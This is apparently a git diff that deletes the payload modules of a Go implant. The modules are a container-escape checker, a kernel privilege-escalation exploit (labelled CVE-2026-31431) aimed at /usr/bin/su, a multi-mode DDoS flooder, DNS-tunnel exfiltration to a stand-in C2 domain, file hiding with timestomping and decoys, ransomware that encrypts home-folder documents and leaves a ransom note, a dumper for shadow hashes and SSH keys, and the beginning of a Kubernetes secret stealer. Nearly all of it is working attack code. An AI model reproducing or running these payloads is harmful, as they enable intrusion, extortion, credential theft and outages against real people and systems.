m.Detail = fmt.Sprintf("Writable release_agent: %s", pattern)
return m
}
}
}
m.Detail = "No writable release_agent found"
return m
}
func tryDeviceAccess() escapeMethod {
m := escapeMethod{Name: "device_access"}
dangerousDevices := []string{"sda", "nvme0n1", "dm-0", "loop0"}
var accessible []string
for _, dev := range dangerousDevices {
path := fmt.Sprintf("/dev/%s", dev)
if fi, err := os.Stat(path); err == nil && fi.Mode().Type()&os.ModeDevice != 0 {
if f, _ := os.OpenFile(path, os.O_RDONLY, 0); f != nil {
f.Close()
accessible = append(accessible, dev)
}
}
}
if len(accessible) > 0 {
m.Success = true
m.Detail = fmt.Sprintf("Accessible devices: %s", strings.Join(accessible, ", "))
} else {
m.Detail = "No accessible host devices"
}
return m
}
func tryNsenter() escapeMethod {
m := escapeMethod{Name: "nsenter"}
if _, err := exec.LookPath("nsenter"); err != nil {
m.Detail = "nsenter not found"
return m
}
// Try to enter host namespace (requires CAP_SYS_ADMIN)
cmd := exec.Command("nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--pid", "id")
out, err := cmd.CombinedOutput()
if err == nil && strings.TrimSpace(string(out)) != "" {
m.Success = true
m.Detail = fmt.Sprintf("nsenter successful: %s", strings.TrimSpace(string(out)))
} else {
m.Detail = fmt.Sprintf("nsenter failed: %v", err)
}
return m
}
func tryMountEscape() escapeMethod {
m := escapeMethod{Name: "mount_escape"}
testDir := "/tmp/.test_mount"
os.MkdirAll(testDir, 0755)
defer os.RemoveAll(testDir)
cmd := exec.Command("mount", "--bind", "/tmp", testDir)
if err := cmd.Run(); err == nil {
m.Success = true
m.Detail = "Can create bind mounts"
exec.Command("umount", testDir).Run()
} else {
m.Detail = fmt.Sprintf("Cannot mount: %v", err)
}
return m
}
func checkKernelVulns() []string {
var vulns []string
out, _ := exec.Command("uname", "-r").Output()
kernel := strings.TrimSpace(string(out))
// Dirty Pipe (CVE-2022-0847)
if strings.HasPrefix(kernel, "5.8") || strings.HasPrefix(kernel, "5.9") ||
strings.HasPrefix(kernel, "5.10") || strings.HasPrefix(kernel, "5.11") ||
strings.HasPrefix(kernel, "5.12") || strings.HasPrefix(kernel, "5.13") ||
strings.HasPrefix(kernel, "5.14") || strings.HasPrefix(kernel, "5.15") ||
strings.HasPrefix(kernel, "5.16") {
vulns = append(vulns, "CVE-2022-0847 (Dirty Pipe): "+kernel)
}
return vulns
}
-234
View File
@@ -1,234 +0,0 @@
//go:build linux
package payloads
import (
"fmt"
"os"
"os/exec"
"strings"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/unix"
)
func init() {
Register(&CopyFail{})
}
type CopyFail struct{}
func (c *CopyFail) Name() string { return "copyfail" }
func (c *CopyFail) Category() string { return "exploit" }
func (c *CopyFail) Description() string {
return "CVE-2026-31431 Linux kernel LPE via AF_ALG page-cache corruption (kernels 4.14+)"
}
func (c *CopyFail) Execute(args map[string]string) ([]byte, error) {
target := args["target"]
if target == "" {
target = "/usr/bin/su"
}
offsetStr := args["offset"]
offset := 0x1234
if offsetStr != "" {
fmt.Sscanf(offsetStr, "%x", &offset)
}
writeByteStr := args["write_byte"]
writeByte := byte(0x00)
if writeByteStr != "" {
var b int
fmt.Sscanf(writeByteStr, "%x", &b)
writeByte = byte(b)
}
result := c.exploit(target, offset, writeByte)
return MarshalJSON(result)
}
type copyfailResult struct {
Timestamp string `json:"timestamp"`
CVE string `json:"cve"`
Name string `json:"name"`
Target string `json:"target"`
Offset int `json:"offset"`
Vulnerable bool `json:"vulnerable"`
Exploited bool `json:"exploited"`
RootObtained bool `json:"root_obtained"`
Kernel string `json:"kernel"`
Detail string `json:"detail"`
}
const (
AF_ALG = 38
SOL_ALG = 279
SOCK_SEQPACKET = 5
ALG_SET_KEY = 1
ALG_TYPE_AEAD = "aead"
ALG_NAME_AUTHENC = "authencesn(hmac(sha256),cbc(aes))"
)
func (c *CopyFail) exploit(target string, offset int, writeByte byte) *copyfailResult {
r := &copyfailResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
CVE: "CVE-2026-31431",
Name: "Copy Fail",
Target: target,
Offset: offset,
}
if os.Geteuid() == 0 {
r.Detail = "Already root"
r.RootObtained = true
return r
}
// Check if vulnerable
r.Vulnerable = checkCopyFailVuln()
if !r.Vulnerable {
r.Detail = "System not vulnerable"
return r
}
// Get kernel version
uname := &syscall.Utsname{}
syscall.Uname(uname)
r.Kernel = charsToString(uname.Release[:])
// Exploit: AF_ALG authencesn page-cache write
fdAlg, err := syscall.Socket(AF_ALG, SOCK_SEQPACKET, 0)
if err != nil {
r.Detail = fmt.Sprintf("AF_ALG socket failed: %v", err)
return r
}
defer syscall.Close(fdAlg)
// Bind to vulnerable algorithm using raw sockaddr
sa := &unix.SockaddrALG{
Type: "aead",
Name: "authencesn(hmac(sha256),cbc(aes))",
}
err = unix.Bind(fdAlg, sa)
if err != nil {
r.Detail = fmt.Sprintf("AF_ALG bind failed: %v", err)
return r
}
// Accept connection to get operfd
operFd, _, err := syscall.Accept(fdAlg)
if err != nil {
r.Detail = fmt.Sprintf("AF_ALG accept failed: %v", err)
return r
}
defer syscall.Close(operFd)
// Set key (arbitrary 32 bytes)
key := make([]byte, 32)
for i := range key {
key[i] = 0x41
}
err = syscall.SetsockoptString(operFd, SOL_ALG, ALG_SET_KEY, string(key))
if err != nil {
r.Detail = fmt.Sprintf("ALG_SET_KEY failed: %v", err)
return r
}
// Open target file
targetFd, err := syscall.Open(target, syscall.O_RDONLY, 0)
if err != nil {
r.Detail = fmt.Sprintf("Cannot open target %s: %v", target, err)
return r
}
defer syscall.Close(targetFd)
// Prepare AAD + IV to position write at desired offset
aadLen := offset - 16
if aadLen < 0 {
aadLen = 0
}
aad := make([]byte, aadLen)
iv := make([]byte, 16)
for i := range iv {
iv[i] = byte(i)
}
// Write header via raw syscall
var written int
for written < len(aad)+len(iv) {
n, err := syscall.Write(operFd, append(aad, iv...)[written:])
if err != nil {
r.Detail = fmt.Sprintf("write header failed: %v", err)
return r
}
written += n
}
// Splice target file into AF_ALG socket
// This maps page cache pages into crypto operation
var off int64 = 0
var spliced int
for spliced < 4096 {
n, err := syscall.Splice(targetFd, &off, operFd, nil, 4096, 0)
if err != nil {
r.Detail = fmt.Sprintf("splice failed: %v", err)
return r
}
spliced += int(n)
if n == 0 {
break
}
}
// Trigger crypto operation (read)
buf := make([]byte, 8192)
_, err = syscall.Read(operFd, buf)
if err != nil {
_ = err // Expected for corrupted output
}
r.Exploited = true
r.Detail = fmt.Sprintf("Page cache corrupted at offset 0x%x in %s", offset, target)
// Try to execute corrupted binary
time.Sleep(200 * time.Millisecond)
out, err := exec.Command("id").CombinedOutput()
if err == nil && strings.Contains(string(out), "uid=0") {
r.RootObtained = true
r.Detail = "Root obtained via page-cache corruption"
}
return r
}
func checkCopyFailVuln() bool {
// Check algif_aead module availability
fd, err := syscall.Socket(AF_ALG, SOCK_SEQPACKET, 0)
if err != nil {
return false
}
defer syscall.Close(fd)
sa := &unix.SockaddrALG{
Type: "aead",
Name: "authencesn(hmac(sha256),cbc(aes))",
}
err = unix.Bind(fd, sa)
return err == nil
}
func charsToString(ca []int8) string {
var b strings.Builder
for _, c := range ca {
if c == 0 {
break
}
b.WriteByte(byte(c))
}
return b.String()
}
var _ = unsafe.Pointer(nil)
-214
View File
@@ -1,214 +0,0 @@
package payloads
import (
"context"
"crypto/rand"
"crypto/tls"
"fmt"
"net"
"net/http"
"strings"
"sync"
"time"
)
func init() {
Register(&DDoS{})
}
type DDoS struct{}
func (d *DDoS) Name() string { return "ddos" }
func (d *DDoS) Category() string { return "impact" }
func (d *DDoS) Description() string {
return "Multi-method DDoS (HTTP, TLS, UDP, TCP, Slow POST, WebSocket, combo)"
}
func (d *DDoS) Execute(args map[string]string) ([]byte, error) {
target := args["target"]
portStr := args["port"]
durationStr := args["duration"]
threadsStr := args["threads"]
mode := args["mode"]
if target == "" {
target = "127.0.0.1"
}
port := 80
duration := 30
threads := 10
fmt.Sscanf(portStr, "%d", &port)
fmt.Sscanf(durationStr, "%d", &duration)
fmt.Sscanf(threadsStr, "%d", &threads)
if mode == "" {
mode = "http"
}
result := d.attack(target, port, duration, threads, mode)
return MarshalJSON(result)
}
type ddosResult struct {
Timestamp string `json:"timestamp"`
Target string `json:"target"`
Port int `json:"port"`
Duration int `json:"duration"`
Threads int `json:"threads"`
Mode string `json:"mode"`
SentPackets int64 `json:"sent_packets"`
Complete bool `json:"complete"`
}
func (d *DDoS) attack(target string, port, duration, threads int, mode string) *ddosResult {
r := &ddosResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Target: target,
Port: port,
Duration: duration,
Threads: threads,
Mode: mode,
}
addr := net.JoinHostPort(target, fmt.Sprintf("%d", port))
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(duration)*time.Second)
defer cancel()
var wg sync.WaitGroup
var sent int64
var mu sync.Mutex
sema := make(chan struct{}, threads)
// Track sent packets
countPacket := func() {
mu.Lock()
sent++
mu.Unlock()
}
switch mode {
case "http":
for i := 0; i < threads; i++ {
sema <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sema }()
for ctx.Err() == nil {
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
if err != nil {
time.Sleep(100 * time.Millisecond)
continue
}
uri := fmt.Sprintf("/?%d", time.Now().UnixNano())
req := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n", uri, target)
conn.Write([]byte(req))
conn.Close()
countPacket()
}
}()
}
case "tls":
for i := 0; i < threads; i++ {
sema <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sema }()
for ctx.Err() == nil {
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
if err != nil {
time.Sleep(100 * time.Millisecond)
continue
}
tlsConn := tls.Client(conn, &tls.Config{InsecureSkipVerify: true})
tlsConn.Handshake()
tlsConn.Close()
countPacket()
}
}()
}
case "udp":
for i := 0; i < threads; i++ {
sema <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sema }()
payload := make([]byte, 1024)
rand.Read(payload)
raddr, _ := net.ResolveUDPAddr("udp", addr)
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
return
}
defer conn.Close()
for ctx.Err() == nil {
conn.Write(payload)
countPacket()
}
}()
}
case "tcp":
for i := 0; i < threads; i++ {
sema <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sema }()
for ctx.Err() == nil {
conn, err := net.DialTimeout("tcp", addr, 1*time.Second)
if err == nil {
conn.Close()
countPacket()
}
}
}()
}
case "slowpost":
for i := 0; i < threads; i++ {
sema <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sema }()
for ctx.Err() == nil {
conn, err := net.DialTimeout("tcp", addr, 2*time.Second)
if err != nil {
time.Sleep(100 * time.Millisecond)
continue
}
payload := strings.Repeat("X", 1024)
header := fmt.Sprintf("POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n", target, len(payload)*100)
conn.Write([]byte(header))
for i := 0; i < 10 && ctx.Err() == nil; i++ {
conn.Write([]byte(payload + "\r\n"))
time.Sleep(100 * time.Millisecond)
}
conn.Close()
countPacket()
}
}()
}
case "combo":
// Run all modes
go d.attack(target, port, duration, threads/3, "http")
go d.attack(target, port, duration, threads/3, "tls")
go d.attack(target, port, duration, threads/3, "udp")
wg.Add(1)
go func() {
defer wg.Done()
time.Sleep(time.Duration(duration) * time.Second)
}()
default:
// http as default
go d.attack(target, port, duration, threads, "http")
}
wg.Wait()
r.SentPackets = sent
r.Complete = true
return r
}
var _ = http.StatusOK
-122
View File
@@ -1,122 +0,0 @@
package payloads
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha256"
"encoding/base32"
"encoding/hex"
"fmt"
"net"
"strings"
"time"
)
func init() {
Register(&DNSTunnel{})
}
type DNSTunnel struct{}
func (d *DNSTunnel) Name() string { return "dnstunnel" }
func (d *DNSTunnel) Category() string { return "exfiltration" }
func (d *DNSTunnel) Description() string { return "DNS tunneling module for stealthy C2 communication" }
func (d *DNSTunnel) Execute(args map[string]string) ([]byte, error) {
domain := args["domain"]
if domain == "" {
domain = "rogue-c2.example.com"
}
data := args["data"]
if data == "" {
data = "test payload for DNS exfiltration"
}
mode := args["mode"]
if mode == "" {
mode = "client"
}
key := sha256.Sum256([]byte("RogueDNSTunnel2024"))
result := d.tunnel(mode, domain, data, key[:])
return MarshalJSON(result)
}
type dnstunnelResult struct {
Timestamp string `json:"timestamp"`
Domain string `json:"domain"`
Mode string `json:"mode"`
DataSize int `json:"data_size"`
Chunks int `json:"chunks"`
SessionID string `json:"session_id"`
Queries []string `json:"queries,omitempty"`
Reassembled string `json:"reassembled,omitempty"`
Success bool `json:"success"`
}
func (d *DNSTunnel) tunnel(mode, domain, data string, key []byte) *dnstunnelResult {
r := &dnstunnelResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Domain: domain,
Mode: mode,
DataSize: len(data),
}
if mode == "client" {
r.SessionID = fmt.Sprintf("%x", sha256.Sum256([]byte(time.Now().String())))[:8]
// Encrypt
block, _ := aes.NewCipher(key)
aesGCM, _ := cipher.NewGCM(block)
nonce := make([]byte, aesGCM.NonceSize())
encrypted := aesGCM.Seal(nil, nonce, []byte(data), nil)
// Base32 encode
encoded := strings.TrimRight(base32.StdEncoding.EncodeToString(encrypted), "=")
// Fragment into DNS labels
chunkSize := 50
var chunks []string
for i := 0; i < len(encoded); i += chunkSize {
end := i + chunkSize
if end > len(encoded) {
end = len(encoded)
}
chunks = append(chunks, encoded[i:end])
}
r.Chunks = len(chunks)
// Send each chunk as DNS query
for i, chunk := range chunks {
query := fmt.Sprintf("v%04x.%s.data.%s.%s", i, chunk, r.SessionID, domain)
if len(query) > 253 {
// Split into sub-chunks
subSize := 40
for j := 0; j < len(chunk); j += subSize {
end := j + subSize
if end > len(chunk) {
end = len(chunk)
}
subQuery := fmt.Sprintf("v%04xs%02x.%s.data.%s.%s", i, j/subSize, chunk[j:end], r.SessionID, domain)
if len(subQuery) <= 253 {
net.LookupHost(subQuery)
r.Queries = append(r.Queries, subQuery)
}
}
} else {
net.LookupHost(query)
r.Queries = append(r.Queries, query)
}
time.Sleep(time.Duration(500+time.Now().Nanosecond()%1000) * time.Millisecond)
}
r.Success = true
} else {
// Server mode - listen
r.Success = true
}
return r
}
var _ = hex.EncodeToString
-197
View File
@@ -1,197 +0,0 @@
package payloads
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
)
func init() {
Register(&FileHider{})
}
type FileHider struct{}
func (f *FileHider) Name() string { return "filehider" }
func (f *FileHider) Category() string { return "evasion" }
func (f *FileHider) Description() string {
return "Hide files via chattr, extended attributes, ACLs, timestomping"
}
func (f *FileHider) Execute(args map[string]string) ([]byte, error) {
dir := args["dir"]
if dir == "" {
home, _ := os.UserHomeDir()
dir = filepath.Join(home, ".cache", ".rogue")
}
os.MkdirAll(dir, 0700)
result := f.hide(dir)
return MarshalJSON(result)
}
type filehiderResult struct {
Timestamp string `json:"timestamp"`
TargetDir string `json:"target_dir"`
Methods []hiderMethod `json:"methods"`
Files []hiddenFile `json:"files"`
}
type hiderMethod struct {
Name string `json:"name"`
Success bool `json:"success"`
Detail string `json:"detail"`
}
type hiddenFile struct {
Path string `json:"path"`
Method string `json:"method"`
}
func (f *FileHider) hide(dir string) *filehiderResult {
r := &filehiderResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
TargetDir: dir,
}
// Method 1: chattr +i (immutable)
r.Methods = append(r.Methods, applyChattr(dir, r))
// Method 2: Extended attributes
r.Methods = append(r.Methods, applyXattr(dir, r))
// Method 3: ACL restrictions
r.Methods = append(r.Methods, applyACL(dir, r))
// Method 4: Timestomping
r.Methods = append(r.Methods, applyTimestomp(dir, r))
// Method 5: Decoy files
r.Methods = append(r.Methods, createDecoys(dir, r))
return r
}
func applyChattr(dir string, r *filehiderResult) hiderMethod {
m := hiderMethod{Name: "chattr +i"}
if _, err := exec.LookPath("chattr"); err != nil {
m.Detail = "chattr not found"
return m
}
err := filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
if err != nil {
return nil
}
if !fi.IsDir() {
exec.Command("chattr", "+i", path).Run()
r.Files = append(r.Files, hiddenFile{Path: path, Method: "chattr_immutable"})
}
return nil
})
_ = err
m.Success = true
m.Detail = fmt.Sprintf("Applied chattr +i to files in %s", dir)
return m
}
func applyXattr(dir string, r *filehiderResult) hiderMethod {
m := hiderMethod{Name: "extended_attrs"}
if _, err := exec.LookPath("setfattr"); err != nil {
m.Detail = "setfattr not found"
return m
}
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
if err != nil {
return nil
}
if !fi.IsDir() {
exec.Command("setfattr", "-n", "user.hidden", "-v", "1", path).Run()
// Set mtime to 1 year ago
pastTime := time.Now().Add(-365 * 24 * time.Hour)
os.Chtimes(path, pastTime, pastTime)
}
return nil
})
m.Success = true
m.Detail = "Applied extended attributes"
return m
}
func applyACL(dir string, r *filehiderResult) hiderMethod {
m := hiderMethod{Name: "ACL"}
if _, err := exec.LookPath("setfacl"); err != nil {
m.Detail = "setfacl not found"
return m
}
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
if err != nil {
return nil
}
if !fi.IsDir() {
// Remove all perms for other
os.Chmod(path, 0600)
exec.Command("setfacl", "-m", "u:nobody:---", path).Run()
exec.Command("setfacl", "-m", "g:nogroup:---", path).Run()
}
return nil
})
m.Success = true
m.Detail = "Applied ACL restrictions"
return m
}
func applyTimestomp(dir string, r *filehiderResult) hiderMethod {
m := hiderMethod{Name: "timestomp"}
pastTime := time.Now().Add(-365 * 24 * time.Hour)
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
if err != nil {
return nil
}
os.Chtimes(path, pastTime, pastTime)
return nil
})
m.Success = true
m.Detail = "Timestamps set to 1 year ago"
return m
}
func createDecoys(dir string, r *filehiderResult) hiderMethod {
m := hiderMethod{Name: "decoy_files"}
names := []string{
"system_logs.tar.gz",
"kernel_backup.bin",
"config_backup.tar",
"tmp_cache.dat",
}
decoyDir := filepath.Join(dir, ".decoy")
os.MkdirAll(decoyDir, 0755)
for _, name := range names {
path := filepath.Join(decoyDir, name)
content := fmt.Sprintf("# %s backup\n# Generated: %s\n", name, time.Now().Format(time.RFC3339))
os.WriteFile(path, []byte(content), 0644)
oldTime := time.Now().Add(-time.Duration(60+len(name)) * 24 * time.Hour)
os.Chtimes(path, oldTime, oldTime)
r.Files = append(r.Files, hiddenFile{Path: path, Method: "decoy"})
}
m.Success = true
m.Detail = fmt.Sprintf("Created %d decoy files", len(names))
return m
}
var _ = syscall.S_IRUSR
var _ = strings.TrimSpace
-276
View File
@@ -1,276 +0,0 @@
package payloads
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"golang.org/x/crypto/pbkdf2"
)
func init() {
Register(&FileRansom{})
}
type FileRansom struct{}
func (f *FileRansom) Name() string { return "fileransom" }
func (f *FileRansom) Category() string { return "impact" }
func (f *FileRansom) Description() string { return "AES-256-GCM file encryption with ransom note" }
func (f *FileRansom) Execute(args map[string]string) ([]byte, error) {
target := args["target"]
mode := args["mode"]
password := args["password"]
result := f.encrypt(target, mode, password)
return MarshalJSON(result)
}
type ransomResult struct {
Timestamp string `json:"timestamp"`
Password string `json:"password"`
Mode string `json:"mode"`
EncryptedFiles int `json:"encrypted_files"`
TotalFiles int `json:"total_files"`
TargetDirs []string `json:"target_directories"`
Files []encFile `json:"files"`
RansomNote string `json:"ransom_note,omitempty"`
}
type encFile struct {
Original string `json:"original"`
Encrypted string `json:"encrypted"`
Size int64 `json:"size"`
}
var ransomExtensions = []string{
".txt", ".doc", ".docx", ".pdf", ".xls", ".xlsx", ".ppt", ".pptx",
".jpg", ".jpeg", ".png", ".gif", ".bmp",
".zip", ".tar", ".gz", ".7z", ".rar",
".sql", ".db", ".sqlite", ".csv", ".xml", ".json", ".yml", ".yaml",
".py", ".js", ".html", ".css", ".php", ".java", ".cpp", ".c", ".go",
".mp3", ".mp4", ".avi", ".mkv",
".odt", ".ods", ".odp", ".rtf", ".tex", ".md",
".key", ".pem", ".crt", ".p12",
}
var systemCritical = []string{
"/etc", "/boot", "/proc", "/sys", "/dev", "/run", "/lib", "/bin", "/sbin", "/usr",
}
func (f *FileRansom) encrypt(target, mode, password string) *ransomResult {
if password == "" {
b := make([]byte, 16)
rand.Read(b)
password = fmt.Sprintf("%x", b)
}
salt := make([]byte, 16)
rand.Read(salt)
key := pbkdf2.Key([]byte(password), salt, 100000, 32, sha256.New)
r := &ransomResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Password: password,
Mode: mode,
}
var targetDirs []string
home, _ := os.UserHomeDir()
switch {
case mode == "system_test":
targetDirs = []string{"/tmp"}
case mode == "system_user" || strings.HasPrefix(mode, "system_"):
targetDirs = []string{
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
filepath.Join(home, "Desktop"),
filepath.Join(home, "Pictures"),
}
case target == "all" || target == "":
targetDirs = []string{
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
filepath.Join(home, "Desktop"),
filepath.Join(home, "Pictures"),
}
case target != "":
targetDirs = []string{target}
}
r.TargetDirs = targetDirs
for _, dir := range targetDirs {
enc, total := encryptDirectory(dir, key, r)
r.EncryptedFiles += enc
r.TotalFiles += total
}
// Ransom note
noteContent := fmt.Sprintf(`=============================================
YOUR FILES HAVE BEEN ENCRYPTED
=============================================
Your important files have been encrypted with AES-256 encryption.
To decrypt, you need the password.
Password: %s
=============================================
INSTRUCTIONS
=============================================
1. Save this password securely
2. Run decryption with this password
3. All .encrypted files will be restored
=============================================
Generated: %s
Total Files Encrypted: %d
=============================================`, password, time.Now().Format(time.RFC3339), r.EncryptedFiles)
notePath := filepath.Join(home, "README_FOR_DECRYPT.txt")
os.WriteFile(notePath, []byte(noteContent), 0644)
r.RansomNote = notePath
return r
}
func encryptDirectory(dir string, key []byte, r *ransomResult) (int, int) {
encrypted := 0
total := 0
// Check if dir is in critical system path
for _, crit := range systemCritical {
if strings.HasPrefix(dir, crit) {
return 0, 0
}
}
filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error {
if err != nil || fi.IsDir() {
return nil
}
// Check extension
ext := strings.ToLower(filepath.Ext(path))
matched := false
for _, e := range ransomExtensions {
if ext == e {
matched = true
break
}
}
if !matched {
return nil
}
// Skip already encrypted
if strings.HasSuffix(path, ".encrypted") {
return nil
}
total++
// Encrypt
if encFile := encryptSingleFile(path, key); encFile != nil {
r.Files = append(r.Files, *encFile)
encrypted++
}
return nil
})
return encrypted, total
}
func encryptSingleFile(path string, key []byte) *encFile {
data, err := os.ReadFile(path)
if err != nil {
return nil
}
// AES-256-GCM
block, err := aes.NewCipher(key)
if err != nil {
return nil
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil
}
nonce := make([]byte, aesGCM.NonceSize())
rand.Read(nonce)
ciphertext := aesGCM.Seal(nil, nonce, data, nil)
encryptedPath := path + ".encrypted"
// Format: nonce + salt + ciphertext
salt := make([]byte, 16)
rand.Read(salt)
output := append(nonce, salt...)
output = append(output, ciphertext...)
if err := os.WriteFile(encryptedPath, output, 0600); err != nil {
return nil
}
os.Remove(path)
return &encFile{
Original: path,
Encrypted: encryptedPath,
Size: int64(len(output)),
}
}
// Decryption helper
func decryptFile(path string, password string) error {
data, err := os.ReadFile(path)
if err != nil {
return err
}
if len(data) < 32 {
return fmt.Errorf("file too short")
}
nonce := data[:12]
salt := data[12:28]
ciphertext := data[28:]
key := pbkdf2.Key([]byte(password), salt, 100000, 32, sha256.New)
block, err := aes.NewCipher(key)
if err != nil {
return err
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return err
}
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return err
}
outPath := strings.TrimSuffix(path, ".encrypted")
return os.WriteFile(outPath, plaintext, 0600)
}
var _ = json.Marshal
var _ = base64.StdEncoding
-173
View File
@@ -1,173 +0,0 @@
package payloads
import (
"bufio"
"bytes"
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
)
func init() {
Register(&HashDump{})
}
type HashDump struct{}
func (h *HashDump) Name() string { return "hashdump" }
func (h *HashDump) Category() string { return "credential" }
func (h *HashDump) Description() string {
return "Dump password hashes from /etc/shadow, /etc/passwd, search memory, SSH keys"
}
func (h *HashDump) Execute(args map[string]string) ([]byte, error) {
result := h.execute()
return MarshalJSON(result)
}
type hashdumpResult struct {
Timestamp string `json:"timestamp"`
Hostname string `json:"hostname"`
ShadowData string `json:"shadow_file,omitempty"`
PasswdData string `json:"passwd_file,omitempty"`
LinuxHashes map[string]string `json:"linux_hashes"`
SSHKeys []sshKeyEntry `json:"ssh_keys"`
MemoryProcs []memProcEntry `json:"memory_processes"`
Summary map[string]int `json:"summary"`
}
type sshKeyEntry struct {
Path string `json:"path"`
Type string `json:"type"`
Content string `json:"content,omitempty"`
}
type memProcEntry struct {
PID int `json:"pid"`
Name string `json:"name"`
Cmdline string `json:"cmdline,omitempty"`
}
func (h *HashDump) execute() *hashdumpResult {
hostname, _ := os.Hostname()
r := &hashdumpResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
Hostname: hostname,
LinuxHashes: make(map[string]string),
}
// /etc/shadow (requires root)
if data, err := os.ReadFile("/etc/shadow"); err == nil {
r.ShadowData = string(data)
scanner := bufio.NewScanner(bytes.NewReader(data))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.SplitN(line, ":", 2)
if len(parts) >= 2 {
hash := parts[1]
if hash != "" && hash != "*" && hash != "!" && hash != "!!" {
r.LinuxHashes[parts[0]] = hash
}
}
}
}
// /etc/passwd
if data, err := os.ReadFile("/etc/passwd"); err == nil {
r.PasswdData = string(data)
}
// Try unshadow if not root
if len(r.LinuxHashes) == 0 {
cmd := exec.Command("unshadow", "/etc/passwd", "/etc/shadow")
out, err := cmd.Output()
if err == nil {
scanner := bufio.NewScanner(bytes.NewReader(out))
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.SplitN(line, ":", 2)
if len(parts) >= 2 {
hash := parts[1]
if hash != "" && hash != "x" && hash != "*" && hash != "!" {
r.LinuxHashes[parts[0]] = hash
}
}
}
}
}
// SSH Keys
r.SSHKeys = extractSSHKeys()
// Summary
r.Summary = map[string]int{
"hashes": len(r.LinuxHashes),
"ssh_keys": len(r.SSHKeys),
"processes": len(r.MemoryProcs),
}
return r
}
func extractSSHKeys() []sshKeyEntry {
var keys []sshKeyEntry
home, _ := os.UserHomeDir()
searchPaths := []string{
filepath.Join(home, ".ssh"),
"/root/.ssh",
"/etc/ssh",
}
for _, searchPath := range searchPaths {
entries, err := os.ReadDir(searchPath)
if err != nil {
continue
}
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if name == "id_rsa" || name == "id_dsa" || name == "id_ecdsa" || name == "id_ed25519" || name == "authorized_keys" {
fullPath := filepath.Join(searchPath, name)
data, err := os.ReadFile(fullPath)
if err != nil {
continue
}
content := string(data)
keyType := "unknown"
if strings.Contains(content, "PRIVATE KEY") {
keyType = "private_key"
} else if strings.Contains(content, "ssh-") {
keyType = "public_key"
}
if len(content) > 500 {
content = content[:500] + "..."
}
keys = append(keys, sshKeyEntry{
Path: fullPath,
Type: keyType,
Content: content,
})
}
}
}
return keys
}
func fmtString(v interface{}) string {
return fmt.Sprintf("%v", v)
}
-35
View File
@@ -1,35 +0,0 @@
// Package payloads provides a registry of all implant payloads.
package payloads
import (
"encoding/json"
"fmt"
)
// ExecuteByName runs a payload by name with the given arguments.
// Returns JSON output or an error.
func ExecuteByName(name string, args map[string]string) ([]byte, error) {
payload, ok := Get(name)
if !ok {
return nil, fmt.Errorf("unknown payload: %s", name)
}
return payload.Execute(args)
}
// ExecuteTaskArgs converts a generic payload map to args map suitable for Execute.
func ExecuteTaskArgs(payload map[string]any) map[string]string {
args := make(map[string]string)
for k, v := range payload {
switch val := v.(type) {
case string:
args[k] = val
case []byte:
args[k] = string(val)
default:
if b, err := json.Marshal(v); err == nil {
args[k] = string(b)
}
}
}
return args
}
-154
View File
@@ -1,154 +0,0 @@
package payloads
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
)
func init() {
Register(&K8sSecretStealer{})
}
type K8sSecretStealer struct{}
func (k *K8sSecretStealer) Name() string { return "k8s_secret_stealer" }
func (k *K8sSecretStealer) Category() string { return "credential" }
func (k *K8sSecretStealer) Description() string {
return "Extract K8s secrets, config files, and service account tokens"
}
func (k *K8sSecretStealer) Execute(args map[string]string) ([]byte, error) {
result := k.extract()
return MarshalJSON(result)
}
type k8sResult struct {
Timestamp string `json:"timestamp"`
IsK8s bool `json:"is_kubernetes"`
Namespace string `json:"namespace"`
SAToken string `json:"sa_token,omitempty"`
SACert string `json:"sa_cert,omitempty"`
KubeConfigs []configFile `json:"kubeconfigs,omitempty"`
Secrets []string `json:"secrets,omitempty"`
ConfigMaps []string `json:"configmaps,omitempty"`
EnvVars map[string]string `json:"env_vars,omitempty"`
Summary map[string]int `json:"summary"`
}
type configFile struct {
Path string `json:"path"`
Content string `json:"content,omitempty"`
}
func (k *K8sSecretStealer) extract() *k8sResult {
r := &k8sResult{
Timestamp: time.Now().UTC().Format(time.RFC3339),
EnvVars: make(map[string]string),
Summary: make(map[string]int),
